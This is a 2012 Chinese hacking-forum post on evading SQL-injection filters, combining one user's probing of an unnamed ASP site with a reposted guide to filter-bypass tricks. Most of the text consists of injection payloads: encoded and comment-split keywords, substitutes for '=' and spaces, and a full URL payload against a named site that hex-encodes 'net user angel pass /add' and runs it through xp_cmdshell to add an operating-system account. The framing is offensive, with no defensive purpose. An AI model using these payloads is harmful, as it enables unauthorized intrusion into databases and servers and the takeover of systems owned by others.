找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2169|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
, Q7 |5 c% v& m. Chttp://www.xxx.cn/Article.asp?ID=117 and 1=13 Y1 Q. n- d- A, w' t
直接返回主页
: L9 O0 z9 W9 q9 ^+ hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1% h2 b2 m0 ^2 }0 A
直接返回主页, C* U3 P, ^- ^0 ~: s
http://www.xxx.cn/Article.asp?ID=117 or+ G) w: @' j7 J& N# Z7 s9 D' m
没有返回主页 没有过滤or
; U; ?# V7 o( phttp://www.xxx.cn/Article.asp?ID=117 and
6 B" G- G2 |8 u0 P0 H( ^直接返回主页 看来过滤了and& c: h+ z  [" N" h
http://www.xxx.cn/Article.asp?ID=117 or 1% a3 R) u+ Z) q  h* ~+ m/ ]5 [
没有返回主页 即没有过滤or 也没有过滤1
$ H1 B# L5 P; f" ~6 Z" Rhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
. p# z, g+ K* r; x+ m: s# x, n直接返回主页 很明显过滤了等号
3 Q' p; v- X9 P8 K( A, Jor的特性是与and相反的.
% G; I/ q/ J( T1 b! ~: G% F8 oor 1=1 爆错 或与原页面不同  ]. E, \( _: ~4 Y8 a  ~
or 1=2 原页面相同( I0 z( V) \2 w
这样就是一个注入点; o# O3 @; a! |2 H8 S
但他过滤了=号 我就用><号代替=号吧!
+ V' n" C+ b$ n1 [. v- F2 Xor 1<2 很明显是正确的,所以应该与原页面不同" A! R8 _1 _" O8 C8 [" |
or 1>2 很明显是错误的,所以应该与原页面相同" F4 f% T: P! B; F) p  ~( }
然后看看有没有过滤其他的查询语句,比如select.
% S4 j0 f5 w& u- u) lhttp://www.xxx.cn/Article.asp?ID=117 select) B! z7 z4 V' R: B7 X4 E
直接返回主页  f% S9 q8 _# A0 {
又迷茫了..
- G0 q5 {+ a/ \. ^& b' i
! {, ?/ G# l" E% }% v9 P! q  y
$ o; @$ e1 `/ r$ ycookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
6 B" [/ {: A" N+ e这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
0 f- D+ i- F" s7 q1 L, Z8 U================================================0 _9 c" u0 Q! a" l
以下是转贴:4 N5 W' X- r* m0 A5 R& J

0 _1 a' k# E' U突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
4 S$ ~) @2 c# ^( ?经过我的收集,大部分的防注入程序都过滤了以下关键字:
. D7 x! _+ j7 h- \1 |' N2 ~and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
: y4 ~5 \9 v5 \8 |而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
9 Z: u5 J7 y' q" s: b# Q2 h对于关键字的过滤,以下是我收集的以及我个人的一些想法。
/ s# s( ?# K5 h: y4 s1、运用编码技术绕过
; a# X! c& u% `& G( i& B如URLEncode编码,ASCII编码绕过。例如or 1=1即 0 y- ]* I4 p& n: v) `- P& F; z
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ; `" h4 R8 u$ n3 s) x' [/ B( P7 _; ~
; ]1 Y0 X: f# n) j
2、通过空格绕过 2 }$ ^2 o3 C* w
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
, Q* M* ^1 l0 c4 W" S  \or’ swords’ =‘swords’ ' O0 J. G! c+ T- H! A: j  ~
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 % ]; {1 Y, V1 J* J4 l3 A# S- U
3、运用字符串判断代替 ) U/ [: F, i4 U# w4 [
用经典的or 1=1判断绕过,如
3 i, |3 a4 p: g) B" ^# t4 A% Ror ’swords’ =’swords’ + g& c- V% {- Z. K+ m3 z3 m
,这个方法就是网上在讨论的。 * x( P" B7 V+ C5 x  G
4、通过类型转换修饰符N绕过 ! Y, R4 g1 {# d
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
! T. [& P* T. B% N1 Y" r; x5、通过+号拆解字符串绕过 # {. C$ O9 q$ d0 @
效果值得考证,但毕竟是一种方法。如
" f# n, I* E4 }, y7 Dor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 4 C) q" j* _7 {( Y: j% R" p
$ U7 S) A  h( |6 R( {0 {, q0 d8 q
6、通过LIKE绕过 8 C& r' N6 D$ e, ^' o
以前怎么就没想到呢?如or
% ^( F$ X" M2 x; _" |; _’swords’ LIKE ’sw’ - e- r2 _, o( ]2 s
!!!显然可以很轻松的绕过 ) V7 R* N6 P- b/ U4 @$ U7 N
“=”“>” ; u, e' |$ v8 Z. @- e
的限制…… 1 Q- X% A) q$ m; d: C; n
7、通过IN绕过 # o) Z0 c, @" X+ b3 f
与上面的LIKE的思路差不多,如 # e1 r; D0 P0 N
or ’swords’ IN (’swords’)
& s# e6 O! k6 \8 e0 e! Z; d  t8 c  v6 w9 \2 G: T
8、通过BETWEEN绕过
0 M! G9 O' }0 z+ ]7 g7 Y! c) S$ x. A( ?0 }. X
or ’swords’ BETWEEN ’rw’ AND ’tw’ - u& `: p& y& d4 s6 Y( F7 M

3 c' t8 O; ?& g  w9、通过>或者<绕过 5 R* n6 K6 \6 c4 Y. I
or ’swords’ > ’sw’
) U. n' M8 I2 t. q7 W. {or ’swords’ < ’tw’ ' t3 O/ _( Z2 Y/ b) N6 V  C
or 1<3
' r5 Y! T& w% d0 N+ K+ g; F$ T…… 0 v" F" n8 e8 z& v8 i0 H
10、运用注释语句绕过
) O: c  j9 l; @- J( {用/**/代替空格,如:
7 W3 ?( _# K! _- H6 {9 qUNION /**/ Select /**/user,pwd,from tbluser
* S1 J" Y. p/ N; \: B( h2 |1 U
- F2 \& f9 o, P0 U8 {用/**/分割敏感词,如: 8 y' j0 k6 w) V6 Z, g
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
3 B- X9 `2 f3 f; F; r! n( |- S8 A2 s# r! O! K5 a
11、用HEX绕过,一般的IDS都无法检测出来 1 |/ t/ f0 h4 S$ ~1 k# r
0x730079007300610064006D0069006E00 =hex(sysadmin) 1 U4 u8 [& Q# `( m
0x640062005F006F0077006E0065007200 =hex(db_owner) ! _1 ?2 q) ]1 g0 \7 g
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
, U8 l# s+ q  a/ s2 t  declare @a sysname 1 r( z0 d2 O/ Y. }" H! d$ O/ d; ?
  select @a=
# P* Y1 k5 v' B$ ^6 v  exec master.dbo.xp_cmdshell @a
( a7 t4 `8 ]+ o! E" m, q效果 ( J' c1 [6 g" w+ H
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
5 w: `7 a' e, V
; H/ t4 w3 h1 N. i! k其中的 , \0 E: ~2 w3 ], o' \$ Y& k# m
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 - z% J! N6 m# I$ w9 }- |/ \
就是 7 @; M. Y8 g6 C' m1 h
“net user angel pass /add”
3 _  p/ B2 N& A* K! W9 A) i6 i. E  \( U# t" s0 s
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
/ N3 c- ]4 S3 r! K+ i4 O& }7 {引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。5 T1 j2 J1 A# h3 z( a8 ^% R5 h
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似2 B! {# h# l5 ?5 q- G& |) r1 F
Copy code
, d7 ?0 q' A& m% C( zselect * from table exec xp_cmdshell'xxxxxxxxxx'( x6 Z, g. {; E# f1 x
- V% z: z9 J' Q

9 f& N: K& `8 B/ sselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
' {& a! M* d3 p
: E( ^% g5 \$ W
) V6 R& \# ?6 m- c2 X$ a: _* H' Sselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
, ^* Z3 w2 `: t$ D6 Z& n0 R( c2 ]  x1 {* G1 @+ I5 {

! v' y" B  s; T6 r# V4 ]select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'/ T' J* S( F$ p6 c

& M* r9 q) U% p( q* }, p" N+ \的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?. ^- W: }5 _, H  B8 \
2 e$ q9 A; K5 r0 l% K% i9 F
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
+ E* m( _9 _$ @可能大家早就知道了,不管怎么说,发在这里吧!; G& O2 X) E- W9 n

7 h; b4 Y" ^# I2 S9 k% v最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。7 r/ M! y; I% L2 ^  }% w
+ m7 f) D0 i3 r) g1 ]( m
0 p) m6 p. k3 \; I! }7 D2 ~! }0 \+ U" x

% M$ i+ U/ J+ f' w4 M. D7 s对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,! i) Y9 m- I, R1 t
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
; p' [! P6 Y1 g+ m& G% W* d1 v  L  c. {. ?0 w* j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表